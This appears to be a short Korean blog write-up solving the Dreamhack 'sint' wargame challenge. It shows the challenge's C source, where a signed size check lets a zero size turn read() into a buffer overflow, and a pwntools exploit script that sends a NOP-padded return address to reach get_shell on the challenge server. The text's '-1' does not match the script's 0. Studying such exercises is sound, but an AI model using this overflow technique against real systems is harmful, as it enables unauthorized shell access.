sint 본문
https://dreamhack.io/wargame/challenges/25/
sint
Description 이 문제는 서버에서 작동하고 있는 서비스(sint)의 바이너리와 소스 코드가 주어집니다. 프로그램의 취약점을 찾고 익스플로잇해 get_shell 함수를 실행시키세요. 셸을 획득한 후, "flag" 파
dreamhack.io
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell()
{
system("/bin/sh");
}
int main()
{
char buf[256];
int size;
initialize();
signal(SIGSEGV, get_shell);
printf("Size: ");
scanf("%d", &size);
if (size > 256 || size < 0)
{
printf("Buffer Overflow!\n");
exit(0);
}
printf("Data: ");
read(0, buf, size - 1);
return 0;
}
사이즈를 입력 받을 수 있다.
사이즈가 -1이면 계속 입력 받을 수 있다.
즉 BOF를 일으킬수 있다.
from pwn import *
p = remote("host1.dreamhack.games",10689)
payload = "\x90"*260 + "\x59\x86\x04\x08"
p.send(b'0')
p.send(payload)
print(p.recvrepeat(1))
p.interactive()
'wargame > DreamHack' 카테고리의 다른 글
basic_rop_x64 (0) | 2021.11.30 |
---|---|
basic_rop_x86 (0) | 2021.11.30 |
out_of_bound (0) | 2021.11.28 |
off_by_one_001 (0) | 2021.11.28 |
Dreamhack - off_by_one_000 (0) | 2021.11.15 |
Comments